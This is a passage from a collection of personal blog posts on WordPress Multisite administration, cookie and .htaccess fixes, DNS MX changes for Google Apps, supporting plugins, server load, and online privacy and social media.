I hate this one. Delete the cookies only for your domain if possible. [Chrome hides this](http://www.guidingtech.com/6295/delete-site-cookies-chrome/), but it’s doable for all sites.
**4) Check your .htaccess**
A lot of people miss this. When the directions say ‘Replace your .htaccess with this…’ what they mean is *replace*. And yet many people leave in the old WordPress rules. Remember to *replace* your .htaccess calls for WP with the correct one: [Multisite .htaccess rules](http://codex.wordpress.org/Multisite_Network_Administration#.htaccess_and_Mod_Rewrite)
**5) Check your `wp-config.php` again**
You need to have both `define('WP_ALLOW_MULTISITE', true);` **and** `define('MULTISITE', true);` in there.
But what if you have this problem on Single Site? Do the same thing, but if you’re using [CloudFlare](http://cloudflare.com), go check your settings. They’ve been known to cause problems with this, due to handling of redirects. Me and a coworker wasted a couple hours on that, before someone else pointed it out.
*Edited to add….*
**6) Kick `wp-config.php` in the butt**
[Tom McFarlin](http://tommcfarlin.com/resolving-the-wordpress-multisite-redirect-loop/) came up with added this to your file:
```
define('ADMIN_COOKIE_PATH', '/');
define('COOKIE_DOMAIN', '');
define('COOKIEPATH', '');
define('SITECOOKIEPATH', '');
```
This kicks the cookies.
**Categories:** How To
**Tags:** administration, multisite, wordpress
---
### [Social Throttling](https://halfelf.org/2012/social-throttling/)
**Published:** December 18, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Over 75% of your followers on Facebook never see your posts. If that sobering fact doesn't get your attention, nothing will.
**Content:**
Lately we’ve all seen the ads on Facebook ‘Promote this post and have it seen by a wider audience!’ And many of us pish-posh it, because the people who liked us will see our posts, and who needs it. Right? Wrong. Not even 25% of the people who like you, or your page, will ever see your posts if you don’t promote them. What they call ‘organic’ reach is highly limited, especially with their new timelines. The way in which they filter the new timeline is going to make this even harder.
A lot of people I know had no idea that Facebook limits who can see your posts. When you start combining this with Google’s encrypting of search terms, the easy valuation of your SEO is creeping swiftly into overly complicated. A lot of A/B testing relies on this information and now that it’s being taken away, we’re back to the age old metrics of grabbing people off the street and asking them which sock is whiter.(Of course with on-line prompts to fill out those Q&As, we’ve already hurt ourselves. We’ve all trained ourselves to ignore those ad-like things that get between us and content. But that’s another post.)
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/facebook-side.png)Facebook Ad ExampleTwitter has had ‘[promoted](https://support.twitter.com/articles/142101-what-are-promoted-tweets)‘ tweets for a while, which is probably why they get so tetchy about the other Twitter apps. The concept is that you pay and more people see your tweets. Not a bad model, really, though most of us just roll our eyes and ignore them. Still, all your tweets are just as popular and shared with people who follow you.
Not so, Facebook. For a long time, Facebook did something kind of similar. Your sidebar has “sponsored” posts, which are just plain ads. If you have a Page, you can pay to sponsor your posts, similar to Twitter, and push your brand. But here’s where Facebook’s a shit-bird: Edgerank.
The concept is like Pagerank from Google. The more popular, and active, your page/post are, the more they’re worth. But that doesn’t make sense for people, since my brother’s edgerank may be low, but I still want to see all his posts. Supposedly Edgerank doesn’t affect this, but I’m not so sure, given how many ‘important’ Facebook messages I miss. This probably stands out more to be since I don’t visit the site with any regularity. If I have a blog post (like this one) that I push to Facebook via Wordpress, I may go back to see if people commented there. That’s really the only time I notice what’s in my timeline, and while I do quick scan it, it’s filled with cruft.
[](https://halfelf.org/wp-content/uploads/sites/2/2012/12/Force-Choke-Vader.jpeg)What happens on the Death Star stays on the Death Star.If you’re on Facebook all the time, you’d never notice. If you got Facebook emails, you’d never notice. I don’t meet either of those requirements. If I use Facebook, I use it. If I don’t, I don’t want a hundred emails cluttering up my space, and this is a problem. See, if I don’t participate actively, by clicking like (something I rarely do), then I cause your edgerank to drop and fewer people to see your posts, so fewer of us click like and thus it sucks. They aren’t wrong with their algorithm, as Facebook is a work based on connections. A likes B likes C who shares A with D. That’s how things get around.(If you’re interested in the math, [Dan Zarrella did the math](http://blogs.hbr.org/cs/2012/11/how_to_calculate_the_value_of.html) and Harvard reblogged it.)
With that in mind, if you’re trying to improve your ranking for your product, [Ari Herzog has a suggestion](http://ariherzog.com/facebook-likers-and-lurkers/): Concentrate on interactions. If you have some regular people who leave comments, talk with them. They’ll be more inclined to share and retweet your posts, which gets you better ranking. Remember, we’re working under the assumption that everyone wants to get noticed more for business, and while SEO is not a zero-sum game, there are winners and losers. Concentrating too much on the media aspect of social media is a quick way to lose.
For the rest of us who just want to communicate with our friends and family, you’re better off getting a blog that emails them directly. At least then the only fear you have is the spam filters. But of course, that falls into the argument of why you should own your own content anyway, and is a post for another day.
**Categories:** How It Is
**Tags:** essay, freedom, seo
---
### [Don't Tread On Me](https://halfelf.org/2013/dont-tread-on-me/)
**Published:** January 14, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Do Not Track is dying, and while I still think you should install it, this may be the time for more drastic measures.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/10/no-chrome.png) Even the non techs have been hearing about [Do Not Track](http://donottrack.us/) lately. The basic idea is that letting advertisers track you is annoying, frustrating, and something a lot of us just don’t want, but moreover, we don’t want random websites doing the same thing! Imagine if you went into Starbucks, and they followed you around to everywhere else you went that day? Starbucks.com could do that, and I personally find it invasive.(I’m not the only one. [My friend Remkus goes even further than I do.](http://remkusdevries.com/cleaner-browsing/))
This is, in part, what that [stupid EU law](https://halfelf.org/2011/eu-cookie-law/ "On the EU Cookie Law") was trying to tackle.
There are a lot of ways to block that sort of tracking, but the latest way is to use Do Not Track (DNT). Turning on DNT on your browser puts an extra header in your web page requests that says “Don’t track my behavior!” Now, the only real downside is that both your browser and the site you’re on have to agree to these rules for it to work, but with Microsoft in the mix, turning DNT on by default for Windows 8, I think we’re on the right track.
If you go to [IE’s testdrive of DNT](http://ie.microsoft.com/testdrive/Browser/DoNotTrack/Default.html) you can see the status of your current browser, and all others.
[](http://ie.microsoft.com/testdrive/Browser/DoNotTrack/Default.html)
Interstingly [Chrome doesn’t have this yet](http://www.pcworld.com/article/2009971/google-adds-do-not-track-to-chrome-by-years-end.html), and when it does, it will default *to* track. Safari does that too. It’s weird for me to be saying ‘Microsoft has it right’ but I suspect it comes down to how advertising works. Microsoft really doesn’t need to advertise except to improve their image. Everyone knows Microsoft, and they know Office, IE, and Windows. Apple’s still a small percentage, and Google was a techy thing for so long, I think that’s why their first social network failed. Because Microsoft has such a percentage of non-tech users (i.e. everyone) and because of their bad rep, the best thing they can do to improve everything is start protecting the users more.
Of course, we all know that being tracked is a function of being online, or even in a store. Physical stores have often watched where people linger to figure out how to better arrange stores, and they ask for your zipcode when you show to understand who buys what. This is all a part of marketing. Of course the problem with online is that the more I search for something, the more I see it in my ads (Google). Why is this a problem? Let’s say I research a [MiFi device](https://ipstenu.org/2012/mifi-me/), find the one I want, and buy it. For the next four months, I got ads for MiFis.
I should explain, while I have no problem with people tracking me for analytics (I rely on them myself, can’t understand your visitors without data), its what they’re *doing* with that data that pisses me off. Getting my info to make a better product for me is great. Getting my info to sell to people is not. And that’s why I’m for do-not-track. Or at least ‘Ask to track.’ It goes back to the store. If I go to Office Depot, they ask me for my zipcode or phone, and I can decline. They use that to track me, and if I don’t want them to know that I drove 80 miles to get something, I don’t have to tell them. Online, I should have that same option.
Sadly, the steam behind Do Not Track is running out. Ten months after everyone agreed this needed to happen, [nothing’s happened](http://money.cnn.com/2012/11/30/technology/do-not-track/index.html) and that’s problematic. Why did we all go dark over SOPA? Because, at some level, we all believed that the Internet is changing things for the better. And yet, we all promised to have Do Not Track up by the end of 2012, and that sure didn’t happen. Then again, we’re merrily Thelma and Lousie’ing right off a fiscal cliff too, so this really isn’t a surprise.
I’m actually against ad-blocking software, and yet we’re at the point where I’ve installed it on Chrome, and I’m starting to block people. Oh, I run the other way with this. I only block certain sites (generally I’ve taken to blocking ones that have annoying ‘overlay’ ads) because, again, I get that people need these metrics to make things work, and I too make money off ads.
In fact, this is yet another reason I use [Project Wonderful](https://www.projectwonderful.com) for my ads. They have a very simple policy:
> Specific tracking of user interactions that don’t involve clicks is not allowed, including view-through tracking, key-modifier tracking, and mouse-location tracking.
So please, allow ads on my sites. I promise I don’t track you with ads. I do have Google and Jetpack tracking your visits, but that’s just for me to measure how things work on the site, and I will never sell or otherwise use your personal information for my own gain.
**Categories:** How It Is
**Tags:** essay, freedom, privacy, security
---
### [Google Apps Ain't Free](https://halfelf.org/2012/google-apps-aint-free/)
**Published:** December 7, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Short and sweet Google makes a change that ain't gonna make people happy.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/12/gmaildollar.png)A lot of my friends tout Google Apps for email. I use them on three sites, mostly as an experiment.
[Google Apps for Business](http://googleenterprise.blogspot.com.au/2012/12/changes-to-google-apps-for-businesses.html) isn’t free anymore. You used to be able to go to [their pricing](http://www.google.com/enterprise/apps/business/pricing.html) and click on free to set everything up for a few users. No more.(Irony, Google Apps doesn’t accept Google Checkout for currency.)
What does this mean? Well a lot of people will have to run their own mail servers again. It’s not surprising to me, given how hard Google had been making it to find the free version, but it is a bit of a dick move to say “And now we’re charging.” I would have thought dropping the number of free from whatever it is now to five, or even one, email account would have been better. Actually, what would be great is if Google had a *just email* domain mapping you could do, but they don’t.
This sucks a lot for a lot of people, including me as I was thinking it’d be nice to have all my friends who are hosted here using Google for email – they know it and are used to it.
*ETA: As Otto pointed out, the no-longer-free is only for new people. Anyone with an existing account is fine. So don’t make any more domains! (And now we see how IP addresses will last…)*
**Categories:** How It Is
**Tags:** email, google
---
### [Multisite eBooks Updated for WordPress 3.5](https://halfelf.org/2012/multisite-ebooks-updated-for-wordpress-3-5/)
**Published:** December 5, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** All of my Multisite eBooks, both PWYW and Kindle, have been updated for WordPress 3.5 (which is due any second now).
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/catbook.jpg)No, it’s not out yet, but it is in Release Candidate land. This means that you can [download and test 3.5 RC3](http://wordpress.org/news/2012/12/wordpress-3-5-release-candidate-3/) now to help us debug and finish up so that WP 3.5 is ready ASAP. Nacin says, don’t put this on a live site unless you’re daring. I’m running it here, which is a Multisite, so I can tell you it works.
In preparation for all this, I’ve updated [WordPress Multisite 101](https://halfelf.org/ebooks/wordpress-multisite-101/ "WordPress Multisite 101") and [WordPress Multisite 110](https://halfelf.org/ebooks/wordpress-multisite-110/ "WordPress Multisite 110") for use with 3.5. Very little was needed to be done, but getting to say “Yes, you can install WP in it’s own directory!” is one of the happiest things I get to write. The only thing that’ll make me happier is the day I say “It’s easy to change the blog slug.”
In addition to adding in the 3.5 information, each ebook has been updated to reflect other community changes, such as new plugins to help you make it through the day, and the magic of per-site-registration.
As always, my ebooks are Pay What You Will. I suggest a $5 donation, but I also encourage you to download, read it, find value, and then come back. Sadly I can’t do that with the Kindle copies, which are priced at $7.99 in order to break even with those costs.
Oh and the reasons you should test 3.5 before it drops:
- You wrote a theme/plugin
- You support people who use WP
- You want a much better media upload interface
- You want to give WordPress it’s own directory and run multisite
**Categories:** How It Is
**Tags:** ebooks, multisite, wordpress
---
### [How to Support Plugins](https://halfelf.org/2011/how-to-support-plugins/)
**Published:** May 24, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I made the best plugin in the world and someone says it broke. Now what!? Here's how to support your plugins!
**Content:**
This is not meant to be a perfect, will work for everyone, solution. But if you’ve made your first plugin and you’ve no idea how to support it, this is for you!
I’m going to present this under the assumption that you already understand how to code, even if your coding is about as good as my French. I’m also going to assume that you are a thinking being with the ability to be rational and accept defeat.
 History first. I picked up WordPress back when MovableType decided to change their licenses, and I’ve never looked back. First it was just my blog, then I learned all the cool things I could do to it. The turning point for me was when I decided to rebuild my fansite using WordPress. While I do write code for my day job at a very large bank, I spend an awful lot of time troubleshooting for developers.
In a nutshell, I take phone calls (and emails) from very smart, very technical savvy people, asking me questions about things I know nothing about and make them work. I support software I don’t use, I support software I don’t understand, and I support software that’s almost as old as I am. It’s a very weird job, but I like it, and I do well at it, which is why I keep my day job and just play with WordPress! And what do I do with WordPress?
I help in the support forums!
[](https://halfelf.org/wp-content/uploads/sites/2/2011/05/forums.jpg)
My job made me accustomed to taking weird questions from smart people about a brand new topic, learning what I need to in order to solve the problem, and hand them the information quickly and in an understandable way. My mom loves this, and knows she can call me about anything computer related, and I’ll find the answer for her. When I started helping on the WordPress forums, this was suddenly a skill whose worth could not be measured. I wasn’t afraid to jump in and help out on topics I was unfamiliar with because I knew I could figure it out.
[](https://halfelf.org/wp-content/uploads/sites/2/2011/05/watterson-twain-answer.jpg) The magic to it, the secret to my power, is that I know how to learn, when to ask for help, and to admit when I don’t know.
That’s pretty much it. And I’m going to teach you how to do it too, provided you’re willing to think, and to admit that you’re wrong sometimes. Don’t worry, I’ll be wrong right along with you!
**You are not the only user of your plugin, so be available**
Most people who write a plugin do it for a few reasons:
[](https://halfelf.org/wp-content/uploads/sites/2/2011/05/nacin.png)
They need to do something special
Someone else needs something special
They want to feel important and praised
They’re a bored genius maniac (see pic on the right)
It all boils down to the idea that we do it for ourselves. There’s *nothing* wrong with that. Remember, as long as that plugin is just yours, sitting on your server, you could do whatever you wanted. The moment you start handing out your cool ‘just for me’ code to other people, there is a level of responsibility that you have to own up to. You’re now a developer and that means you need to help people. If your plugin is up on the WordPress repository, you are no longer making this for you, but for anyone who needs it. They’re going to ask for help, they’re going to tell you that you did it all wrong, and they’re going to be unreasonable.
 If you’re making a plugin that you don’t want to support, this better be painfully clear on the plugin readme.txt, or you will be in running for my asshat of the year award. There’s nothing wrong with making a plugin and abandoning it, but there is something wrong with not telling people that. For the rest of us who are supporting our plugins, make sure it’s clear how they should contact you.
The default expectation is that if I post in the forums and tag my topic with your plugin flag, you will see it and reply. There is no law that says this must be the case, but since it is the *common* way plugins are handled, you must be *explicitly clear* to people that you want to use a different method. As a forum helper, when I see someone ask for help on a plugin, I always go look at the plugin readme first. If it says ‘for support, go to…’ I always tell people to do that.
Now that said, you still need to remember to add the RSS feed to your reader, because some people don’t read, and sometimes they’ll let you know of something huge in the forums, and not contact you correctly. I’m not saying you need to reply to them, but think of it as a CYA manuver. There’s a great URL that anyone can use for all your plugins: `http://wordpress.org/support/view/plugin-committer/YOURHANDLE`
That will update every time anyone posts about any of your plugins. If you need it to email you instead of RSS, I suggest using [RSS2Email](http://www.allthingsrss.com/rss2email/), [FeedBurner ](http://www.feedburner.com)or any other web-app that turns feeds into email to alert yourself.
**It’s your plugin**
At the same time, this is your plugin. You designed it to fill a certain void and damn it, if you don’t want it to have dancing monkeys, then you don’t need to! This has been where I see most developers get into ‘fights’ online. People often have unrealistic expectations for free products, and most of why I charge people for phone/email support is because it gets rid of the stupid requests and keeps me sane. If I answered every email, IM or forum post someone addressed to me with the same attentiveness and response-time I give at my day job, I’d be working 60 hours a week on a free product, with no monetary kick back. I don’t have the time for that. Neither do most people.
[](https://halfelf.org/wp-content/uploads/sites/2/2011/05/whenisayno.jpg) The hardest lesson to learn is how to walk away when you feel responsible for your product. Even though these are your users, and these people rely on you, there is a point at which you cannot explain ‘why’ sufficiently for them to understand it. Either they’re stuck in their world, or you in yours, but regardless, you are at an impasse. And this is when you *have* to walk away. Tell them ‘I’m sorry, but I’m not going to do that. You’re welcome to fork the plugin if you want.’ And walk. Away. Sometimes things are just outside your scope, and if you don’t want to support the addition, you don’t have to. Don’t let people bully you into things.
The expectations of ‘free’ plugins are crazy, and we all know that. It’s like not feeding the trolls, though. When people are unrealistic to you, you’re under no obligation to support them. But also, when things are outside the scope of your plugin, you can tell them that and be done. I’ve said no to people who wanted things added in, even after I spent a day down the rabbit hole applying code to implement their feature, because I neither wanted to support it nor did I find it useful. At the end of the day, it’s *my* plugin. I decide what it should do.
**Don’t forget you have a life!**
Most problems people have with plugins are literacy problems. That is they did not RTFM, or they didn’t pass reading comprehension and are over-thinking a problem. I spent 4 hours once at work talking to a woman who didn’t understand what I meant when I said ‘If the folder’s not there, just make it.’ She was certain I was omitting a crucial step, or secret hand shake. This goes back to what I said about why I have a per-hour price for personal support. I don’t have time to walk someone through the basics of how to FTP or edit a file. That’s not the support you need to offer for plugins, and if someone can’t do it, it’s okay to tell them that they need to hire someone. You have a life! Don’t let them take all your free time.
[](http://matt.wordpress.com/2011/05/14/otto-and-funnel-cake/) I have other hobbies besides WordPress. I write, I play guitar, I ride my bicycle, I’m in the SCA, I do some volunteer work for bicycling, I’m part of a couple fandoms, and so on and so forth. I have a family and friends and interests outside slaving away at a computer all day and night for no compensation. So I try to balance my time and yes, that means sometimes I walk away from a coding frenzy, but sometimes you just have to. There are commitments in life, and you will have to sacrifice them sometimes. Don’t sacrifice your self, though. Embrace your life and don’t let one obsession rule it. That will help you keep it all in perspective.
**Users are people too**
Maintaining a plugin will involve sacrifice. The first thing you’re going to lose is free time, but the second is you will lose face. You’re going to get into a fight with someone on the forums, no matter how well you mean. Part of this is because text is an imperfect medium. My father complains about it, because he says it’s not a discussion, but a debate, and most people in the US never took a debate class.
 It’s really hard to remember to be polite, especially when these people aren’t reading the damned manuals/readme/directions. I fail at it often enough that I used to joke it’s why I’d never be promoted at work or made a forum moderator for WordPress. Ironically enough, both those things happened roughly within weeks of each other. I suspect the reason is that while I do lose my cool sometimes and write angry, I mean well and try hard to be polite and do good.
Every time I train new people in how to work our tech support, I tell them that from Thanksgiving to New Years, our busiest time of year, everyone will make at least one, massive, giant, phenomenal “Oh dear GOD am I about to be fired!?” magnitude of an error. Without fail, at least one person will promise they won’t, and I write their name on my white-board with the date. Without fail they will make a huge error. The point is that everyone makes mistakes, everyone forgets how to reset a password, everyone forgets something basic, even you. So just remember that.
**It’s okay to not know**
[](http://commons.wikimedia.org/wiki/File:Citizen_Know_Nothing.jpg) I don’t know how set up domain mapping. I have to read the documentation every time, and often I ask Andrea or Ron. On the flip side, Andrea has remarked more than once that when she sees a weird .htaccess request, she defers to me. I know what I know, I know what I don’t, and I have no shame in telling someone “You know, I don’t use IIS and I really have no idea how to help you here.” If you don’t know how to do something, say so. Maybe the person you’re trying to help actually does know how to code it, or maybe someone reading it will know.
**When you make a BIG change, document the hell out of it**
Recently, W3 Total Cache pushed a new version with a lot of cool features and better tools. The problem was that many people found it broke their site. The fix was really easy. Change the new ‘default’ setting for Minify from ‘Auto’ to ‘Manual’ and set it all up manually. The problem was that the developer didn’t make this clear in an easy to find way. He tweeted about it, certainly, but he didn’t announce anywhere easily (logically) located about this.
Now W3TC also fails on one of my critical hallmarks of support: Nowhere in the readme (or on the [official WordPress repository page](http://wordpress.org/extend/plugins/w3-total-cache)) does he say how to get help. I happen to know that if you want to report a bug, you go to `http://yourdomain.com/wp-admin/admin.php?page=w3tc_support` and use the form there. He also doesn’t link to his website, or even the [plugin page on his website](http://www.w3-edge.com/wordpress-plugins/w3-total-cache/) from the repository, nor does he mention that he doesn’t help you configure the site for free.
While I love this program and use it on all my sites but one (at 60 hits a day, it doesn’t need it), I think he’s wrong to not spell out how support works, and he failed to explain what was happening. All we know is he fixed this:
> Fixed bug with existing installation upgrades: set minify to manual mode by default
Nothing was clearly documented, nothing was clearly explained, and no one really knew where to go for help, which meant the forums were filled with a lot of angry, ignorant, people, getting no responses from the developer. Simply put, it looks bad, and if people feel that the support is non-existent, they’re going to get angrier, and post things like how you suck and they’re leaving your product, which makes you angry and feel bad, and *less* inclined to help them at all, the ingrates! It’s a vicious circle, and spirals downhill really fast and segues right into my final point…
**They’re not attacking you**
Take a deep breath. What I just said about W3TC can very easily sound like an attack. A lot of the time, people will argue they’re not attacking, they’re being passionate, and in the same breath accuse you of being overly defensive. You’re going to, rightly, be defensive and proprietary of your plugin because, as we discussed, it’s *yours*. You put in the sweat equity, you researched, studied and tested, and you made something awesome. It *hurts* when people tell you it sucks.
Alas, they’ve forgotten you’re a person too. There isn’t a good/easy way to remind them you should be treated as a human, sadly, so when people start getting fired up and telling you that you suck and the plugin sucks, the best you can do is be the better person. I mentioned before that users are people. This is not a repetition of that fact, but a reminder to yourself that there are days where all this is going to be terrible, awful and you feel like the users have pitchforks and want your head
When this happens, they’re *not* attacking you. They don’t hate you, they just don’t know how to explain problems without hurting you, because you’re always going to be too close to the problem. I’m willing to bet Bill Gates and Steve Jobs still feel twinges of pain when people rant about their products. Like a parent, you love what you’ve created, and every slight against it feels like fishhooks in your skin. This cannot be avoided, and the best you can do is recognize that they are a little unreasonable, and that your reply is probably a little unreasonable, and stop.
If you can’t address the situation without feeling your skin heat up or your blood pressure rise, walk away for a while. We’ll still be here.
**In Summary**
I would never say ‘don’t sweat the small stuff, and it’s all small stuff’ or anything trite like that. I will say the point of all this is to be honest, be upfront, be clear and keep it all in perspective. That way you will have both respect *and* your sanity.
**Categories:** How To
**Tags:** plugins, support, wordpress
---
### [Switching Network Types](https://halfelf.org/2012/switch-multisite-types/)
**Published:** November 19, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Want to change your WordPress Multisite from sub.domain.com to domain.com/sub? It's not that hard, though it can be annoying if you have a lot of sites.
**Content:**
This actually isn’t hard to do, but it can be tricky to *complete* if you don’t remember what you started with.
To start with, let’s say I have a multisite with subdomains: ipstenu.loc. I’ve added in two subsites, foo.ipstenu.loc and bar.ipstenu.loc. But then I decide I really wanted to have ipstenu.loc/bar and ipstenu.loc/foo instead.
The easy part is first. I know my `wp-config.php` has this:
```
define('WP_ALLOW_MULTISITE', true);
define('MULTISITE', true);
define('SUBDOMAIN_INSTALL', true);
$base = '/';
define('DOMAIN_CURRENT_SITE', 'ipstenu.loc');
define('PATH_CURRENT_SITE', '/');
define('SITE_ID_CURRENT_SITE', 1);
define('BLOG_ID_CURRENT_SITE',1);
```
All I have to change is the one line `define('SUBDOMAIN_INSTALL', true);` to `define('SUBDOMAIN_INSTALL', false);` and now I’m using sub-folders!
But that means that foo.ipstenu.loc isn’t really valid. Amusingly, it doesn’t *break* anything at first, so the still will work. But once I change the .htaccess, things will get hinky, so I’m going to do the ‘hard’ part.
Go in to Network Admin -> Sites and *Edit* each site that uses a subdomain and you’ll see this:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/before.png)
Looks familiar, right? I’m going to change `foo.ipstenu.org` to `ipstenu.org` and the line with `/` becomes `/foo/`:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/after1.png)
As soon as I hit save, the site is ‘moved.’ Great! Do this for all my sites and .. wait. Now they look all ugly!
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/unstyled.png)
That’s because I have to edit the `.htaccess`. Go to Network Admin -> Settings -> Network Setup, and copy the `.htaccess` from there, replace, and now it works too.
The one last step is re-saving the permalinks in your main site, and remembering your links are about to break. What’s that now? Oh, yes, you see ipstenu.loc now gets /blog/ shoved in for any posts, so ipstenu.org/2012/postname became ipstenu.loc/blog/2012/postname. The catch here is that if you *don’t* resave the permalinks, they will continue to work until you do. Once you hit ‘save’ on permalinks, blog jumps in, and WordPress cheerfully redirects people for you, so you lose nothing.
And now you know!
**Categories:** How To
**Tags:** htaccess, multisite, wordpress
---
### [Sucking Clams, Kosher Style](https://halfelf.org/2010/sucking-clams-kosher-style/)
**Published:** January 1, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** ClamAV uses more resources than it's usefulness indicates.
**Content:**
 ClamAV is an tool that you put on your server and it detects malicious software. In short, it’s a server virus scanner and most servers use it to scan email for viruses. Now those of you who use stuff like McAffee and Norton and other virus scanners for your email, you may not know that servers also scan for that stuff as well, and try to kill the emails before they ever get to you! Yeah, think about how many emails with viruses you get. Personally, I’ve never had a problem with viruses and not because I use a mac. It’s because I pay attention to the content and context of an email before I open any attachments.
But this is about ClamAV and server-side scanners.
The story starts with my twice a week check of my server. I like to keep tabs on what it’s doing, how it’s doing, what’s going on, etc etc. I was a little surprised to see my server load spiked. Server load is sort of how you know how hard your server is working. A high load means its looking at a lot of work. A low load is ‘better’ but you have to admit that you’re going to have SOME load, so you may as well figure out what’s a good load for you. I’ve had problems with WordPress and right now I’m using WP Super Cache (See [“I take it back. WP-Super-Cache is a Super Hero”](https://halfelf.org/2009/i-take-it-back-wp-super-cache-is-a-super-hero/) from September 2009).
The point is, I know that a spike like this is okay:

That spike there was when I ran a small upgrade. You’ll notice how after the moment, it drops back down and has a happy nice day? That’s how things are supposed to work. A spike with traffic and then everything’s happy again. Great.
So what does this mean?

Yeah, I took a look at that, paled, and asked myself ‘What in the four hells is going on!?’ I did the logical thing and looked at the date and time. Noon on Monday I’d made a change to the firewall, moving from the perfectly acceptable, though harder to manage (no GUI), [APF Firewall](http://kb.liquidweb.com/apf-firewall/) to [CSF](http://www.configserver.com/cp/csf.html). That move was a TEENY bit on the spur of the moment, as I wasn’t having any problems with APF per se, but I was being hit up by a lot of spammers and my usual attacks of [http:BL](http://www.projecthoneypot.org/httpbl.php) and [Bad Behavior](http://www.bad-behavior.ioerror.us/) weren’t cutting it. They’re front end fixes to the ongoing spam problem, alas. I hate spammers.
 Worried that my new firewall was ‘bad’, I started to Google if CSF caused high server loads. And found nothing. So I went back to the beginning and checked top. Top is a unix command that you use to see what’s using up resources on your server. It’s like Task Manager for Windows, but it’s a lot more informative. Top lets you see details and sort and basically when you want to find out what ran off with the spoon and killed your server, baby, I’m the bottom and log on to top. Top showed me, interestingly enough, that ClamD was using between 70 and 90% of my resources. On a slow week, like the net generally has for entertainment sites between Christmas and New Years, that’s not really a problem. There’s not a lot going on with the sites I host right now, the extra CPU usage wasn’t a problem. Come back on January 20th, though, now that’s a problem.
But the thing of it is, [back in September](https://halfelf.org/2009/youre-not-the-boss-of-me/), I optimized my server and I remember reading on multiple places that ClamAV and ClamD use up a lot of resources and people turn them off. So I did.

Isn’t that much nicer?
The real question, at the end of the day, is if having ClamAV turned off causes more problems than having it on? So far, no one’s breached my servers, though that’s a function of my firewalls, and SpamAssassin seems to be taking care of the spam emails, which is where most viruses come from in my experience, unless the server’s hacked, at which point I’m kind of screwed anyway. But what I find myself wondering now is if it’s dangerous to not be using ClamAV or what. And I don’t have an answer to that yet.
**Categories:** How To
**Tags:** performance, servers, software
---
### [Google Apps](https://halfelf.org/2012/google-apps/)
**Published:** November 14, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Want to use Google Apps for email? It works with Multisite just fine!
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/google_apps_logo.jpeg)I don’t like Google very much. However when my grandmother had a request for something to be added to her website, I realized Google’s email would actually be much easier for them, especially since her domain, taffys.org, is mapped to this server as a part of my Multisite network. Oh, it’s not terribly hard to make emails for her, but she wanted someone local to do that.
There’s a minor story behind that, but the shortest version is she’s doing some totally awesome not-for-profit work with Parkinsons patients. One of the things she wants is an email, used by many people, to ‘collect’ messages like ‘I’ll be there.’ While I could do this on my site, it’s actually easier to get this up on Google, where I can tell people login to go to http://mail.google.com/a/taffys.org or http://mail.taffys.org and it’s something they know.
I chose to do this by command line, for the experience. If I wanted to do it via cpanel and WHM, you’d go in to edit the DNS zone for the server and add in the mx records.
## MX Records
The command `dig mx taffys.org` tells me what I have right now, which I knew was self referential.
```
; > DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.5 > mx taffys.org
;; global options: printcmd
;; Got answer:
;; ->>HEADER
Looks like that for all my stuff. Okay, no problem, I go in and edit /var/named/taffys.org.db and find this:
taffys.org. IN MX 0 taffys.org.
Change it to this:
; Original
; taffys.org. IN MX 0 taffys.org.
; Gmail
taffys.org. 14400 IN MX 10 ASPMX.L.GOOGLE.COM.
taffys.org. 14400 IN MX 30 ASPMX2.GOOGLEMAIL.COM.
taffys.org. 14400 IN MX 20 ALT1.ASPMX.L.GOOGLE.COM.
taffys.org. 14400 IN MX 30 ASPMX4.GOOGLEMAIL.COM.
taffys.org. 14400 IN MX 30 ASPMX5.GOOGLEMAIL.COM.
taffys.org. 14400 IN MX 20 ALT2.ASPMX.L.GOOGLE.COM.
taffys.org. 14400 IN MX 30 ASPMX3.GOOGLEMAIL.COM.
And then I ran /usr/sbin/rndc reload taffys.org to refresh it. But ... wait. Why does it still say I'm on taffys.org? Per usual, I didn't bother to change my TTL. As everyone always reminds me, if you make a change to DNS without lowering your TTL values, you're gonna have a bad time. Since I'm (rarely) in a rush for this stuff, meh. Besides, it takes 24-48 hours from changing TTL for it to be usable, and then I can make my change. Followed by waiting again, and then changing it back? DNS is pretty zippy these days. 72 hours max, and usually less, so I just don't.
While I waited on that, I went ahead and made a Google Apps account for taffys.org. When you go to Google Apps they only show you business and education. I'm neither (though I suppose what I'm doing for Taffy would be non-profit). Really they're trying to sell, which makes sense. If you go to their pricing model, you'll see the free option. Unless you're running a business, click that.
The rest of the directions are really straight forward, and Google shows you what to do. It's really just set up the account stuff from there out. The directions to make mail.yourdomain.com are under Create a custom web address.
If you want to do it with a GUI, it's even easier. I went into my DNS management setup on cpanel and did this:
Will I do this for other domains? Maybe. I think I'll be doing this for hosting going forward, since the people I host rarely (ever?) use cPanel. Congrats, Taffy! You're the first! Liv's the second.
Now I have to fix up Taffy's site.
```
**Categories:** How To
**Tags:** email, google, multisite, wordpress
---
### [SEO: Impossible ](https://halfelf.org/2012/seo-impossible/)
**Published:** November 2, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Links are worthless. Backlinks will hurt you. This post will self destruct.
**Content:**
For someone who thinks SEO is crap, I sure talk about it a lot. Google’s got a new toy: Dissavow links.
